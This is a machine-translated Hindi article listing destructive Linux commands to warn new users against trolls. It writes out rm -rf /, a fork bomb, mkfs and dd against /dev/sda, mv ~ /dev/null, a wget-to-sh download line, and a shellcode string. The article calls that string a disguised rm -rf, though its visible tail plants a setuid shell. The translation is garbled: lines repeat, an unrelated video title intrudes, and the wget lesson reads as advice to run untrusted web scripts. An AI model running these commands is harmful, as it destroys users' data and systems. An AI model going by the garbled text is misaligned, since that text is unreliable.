8 घातक कमांड आपको लिनक्स पर कभी नहीं चलना चाहिए

विषयसूची:

8 घातक कमांड आपको लिनक्स पर कभी नहीं चलना चाहिए
8 घातक कमांड आपको लिनक्स पर कभी नहीं चलना चाहिए

वीडियो: 8 घातक कमांड आपको लिनक्स पर कभी नहीं चलना चाहिए

वीडियो: 8 घातक कमांड आपको लिनक्स पर कभी नहीं चलना चाहिए
वीडियो: Marvel's Spider-man: Miles Morales (The Movie) - YouTube 2024, अप्रैल
Anonim
लिनक्स के टर्मिनल कमांड शक्तिशाली हैं, और लिनक्स आपको पुष्टिकरण के लिए नहीं पूछेगा यदि आप एक कमांड चलाते हैं जो आपके सिस्टम को तोड़ देगा। नए लिनक्स उपयोगकर्ताओं को मजाक के रूप में चलाने के लिए ऑनलाइन ट्रॉल्स को देखने के लिए यह असामान्य नहीं है।
लिनक्स के टर्मिनल कमांड शक्तिशाली हैं, और लिनक्स आपको पुष्टिकरण के लिए नहीं पूछेगा यदि आप एक कमांड चलाते हैं जो आपके सिस्टम को तोड़ देगा। नए लिनक्स उपयोगकर्ताओं को मजाक के रूप में चलाने के लिए ऑनलाइन ट्रॉल्स को देखने के लिए यह असामान्य नहीं है।

लिनक्स कैसे काम करता है इसकी समझ बढ़ाने के दौरान आपको जो आदेश नहीं चलाना चाहिए, उसे सीखने से आपको ट्रोल से बचाने में मदद मिल सकती है। यह एक संपूर्ण गाइड नहीं है, और यहां दिए गए आदेश विभिन्न तरीकों से रीमिक्स किए जा सकते हैं।

ध्यान दें कि इनमें से कई आदेश केवल खतरनाक होंगे यदि वे प्रीफ़िक्स किए गए हैं sudo उबंटू पर - वे अन्यथा काम नहीं करेंगे। अन्य लिनक्स वितरण पर, अधिकांश आदेश रूट के रूप में चलाना चाहिए।

आरएम-आरएफ / - सब कुछ हटा देता है!

आदेश आरएम-आरएफ / आपके हार्ड ड्राइव पर फ़ाइलों और कनेक्ट किए गए हटाने योग्य मीडिया उपकरणों पर फ़ाइलों सहित, संभवतः यह सब कुछ हटा देता है। यदि यह टूटा हुआ है तो यह आदेश अधिक समझ में आता है:

rm – Remove the following files.

- rf – Run rm recursively (delete all files and folders inside the specified folder) and force-remove all files without prompting you.

/ – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices, including remote file shares and removable drives.

लिनक्स खुशी से इस आदेश का पालन करेगा और आपको संकेत दिए बिना सब कुछ हटा देगा, इसलिए इसका उपयोग करते समय सावधान रहें! आरएम कमांड का इस्तेमाल अन्य खतरनाक तरीकों से भी किया जा सकता है - आरएम-आरएफ ~ जबकि, आपके घर फ़ोल्डर में सभी फाइलों को हटा देगा आरएम-आरएफ। * आपकी सभी कॉन्फ़िगरेशन फ़ाइलों को हटा देगा।

सीख: आरएम-आरएफ से सावधान रहें।

छिपी हुई आरएम-आरएफ /

यहां कोड का एक और स्निपेट है जो पूरे वेब पर है:

char esp _attribute_ ((section(“.text”))) /* e.s.p release */ = “xebx3ex5bx31xc0x50x54x5ax83xecx64x68” “xffxffxffxffx68xdfxd0xdfxd9x68x8dx99” “xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7” “x56x04xf7x56x08xf7x56x0cx83xc4x74x56” “x8dx73x08x56x53x54x59xb0x0bxcdx80x31” “xc0x40xebxf9xe8xbdxffxffxffx2fx62x69” “x6ex2fx73x68x00x2dx63x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

यह आरएम-आरएफ / इस कमांड को निष्पादित करने से आपकी फाइलें मिटा दी जाएंगी जैसे कि आपने आरएम-आरएफ / रन चलाया था।

सीख: अजीब दिखने वाले, स्पष्ट रूप से छिपे हुए आदेशों को न चलाएं जिन्हें आप समझ में नहीं आते हैं।

: () {: |: &};: - फोर्क बम

निम्नलिखित पंक्ति एक साधारण दिखने वाला, लेकिन खतरनाक, बैश फ़ंक्शन है:

:(){:|: &};:

यह छोटी रेखा एक खोल समारोह को परिभाषित करती है जो स्वयं की नई प्रतियां बनाती है। प्रक्रिया लगातार खुद को दोहराती है, और इसकी प्रतियां लगातार आपके प्रतिलिपि बनाते हैं, जल्दी ही आपके सभी CPU समय और मेमोरी को लेते हैं। यह आपके कंप्यूटर को स्थिर करने का कारण बन सकता है। यह मूल रूप से एक अस्वीकार सेवा का हमला है।

सीख: बैश फ़ंक्शंस शक्तिशाली, यहां तक कि बहुत छोटे हैं।

Image
Image

mkfs.ext4 / dev / sda1 - हार्ड ड्राइव स्वरूपित करता है

mkfs.ext4 / dev / sda1 आदेश समझने में आसान है:

mkfs.ext4 – Create a new ext4 file system on the following device.

/dev/sda1 – Specifies the first partition on the first hard drive, which is probably in use.

एक साथ लिया गया, यह आदेश चलने वाले प्रारूप सी के बराबर हो सकता है: विंडोज पर - यह आपके पहले विभाजन पर फ़ाइलों को मिटा देगा और उन्हें एक नई फाइल सिस्टम के साथ बदल देगा।

यह आदेश अन्य रूपों में भी आ सकता है - mkfs.ext3 / dev / sdb2 ext3 फ़ाइल सिस्टम के साथ दूसरे हार्ड ड्राइव पर दूसरे विभाजन को प्रारूपित करेगा।

सीख: हार्ड डिस्क डिवाइस पर चल रहे कमांड से सावधान रहें जो / dev / sd से शुरू होते हैं।

आदेश> / dev / sda - सीधे हार्ड ड्राइव पर लिखता है

आदेश> / dev / sda लाइन समान रूप से काम करती है - यह एक कमांड चलाती है और उस कमांड के आउटपुट को सीधे आपके पहले हार्ड ड्राइव पर भेजती है, सीधे हार्ड डिस्क ड्राइव पर डेटा लिखती है और आपकी फाइल सिस्टम को नुकसान पहुंचाती है।

command – Run a command (can be any command.)

> – Send the output of the command to the following location.

/dev/sda – Write the output of the command directly to the hard disk device.

सीख: उपरोक्त के रूप में, चल रहे कमांड से सावधान रहें जिसमें हार्ड डिस्क डिवाइस / dev / sd से शुरू होते हैं।

डीडी अगर = / dev / यादृच्छिक = / dev / sda - एक हार्ड ड्राइव पर जंक लिखता है

डीडी अगर = / dev / यादृच्छिक = / dev / sda लाइन आपके हार्ड ड्राइव में से किसी एक पर डेटा को भी मिटा देगी।

dd – Perform low-level copying from one location to another.

if=/dev/random – Use /dev/random (random data) as the input – you may also see locations such as /dev/zero (zeros).

of=/dev/sda – Output to the first hard disk, replacing its file system with random garbage data.

सीख: डीडी एक स्थान से दूसरे स्थान पर डेटा कॉपी करता है, जो खतरनाक हो सकता है यदि आप सीधे किसी डिवाइस पर प्रतिलिपि बना रहे हैं।

Image
Image

एमवी ~ / dev / null - आपकी होम निर्देशिका को ब्लैक होल में ले जाता है

/ dev / null एक और विशेष स्थान है - कुछ को dev / null पर ले जाना वही चीज़ है जो इसे नष्ट कर रहा है। ब्लैक होल के रूप में / dev / null के बारे में सोचें। अनिवार्य रूप से, एमवी ~ / देव / शून्य आपकी सभी निजी फाइलों को ब्लैक होल में भेजता है।

mv – Move the following file or directory to another location.

~ – Represents your entire home folder.

/dev/null – Move your home folder to /dev/null, destroying all your files and deleting the original copies.

सीख: ~ चरित्र आपके घर के फ़ोल्डर का प्रतिनिधित्व करता है और चीजों को ले जाने / dev / null उन्हें नष्ट कर देता है।

wget https://example.com/something -O - | sh - डाउनलोड और एक स्क्रिप्ट चलाता है

उपर्युक्त रेखा वेब से एक स्क्रिप्ट डाउनलोड करती है और इसे sh को भेजती है, जो स्क्रिप्ट की सामग्री को निष्पादित करती है। यह खतरनाक हो सकता है यदि आप सुनिश्चित नहीं हैं कि स्क्रिप्ट क्या है या यदि आप इसके स्रोत पर भरोसा नहीं करते हैं - अविश्वसनीय स्क्रिप्ट नहीं चलाएं।

wget – Downloads a file. (You may also see curl in place of wget.)

https://example.com/something – Download the file from this location.

| – Pipe (send) the output of the wget command (the file you downloaded) directly to another command.

sh – Send the file to the sh command, which executes it if it’s a bash script.

सीख: एक कमांड के साथ भी वेब से अविश्वसनीय स्क्रिप्ट डाउनलोड और चलाएं।

किसी भी अन्य खतरनाक आदेशों को जानें जो नए (और अनुभवी) लिनक्स उपयोगकर्ताओं को नहीं चलाना चाहिए? एक टिप्पणी छोड़ दो और उन्हें साझा करें!

सिफारिश की: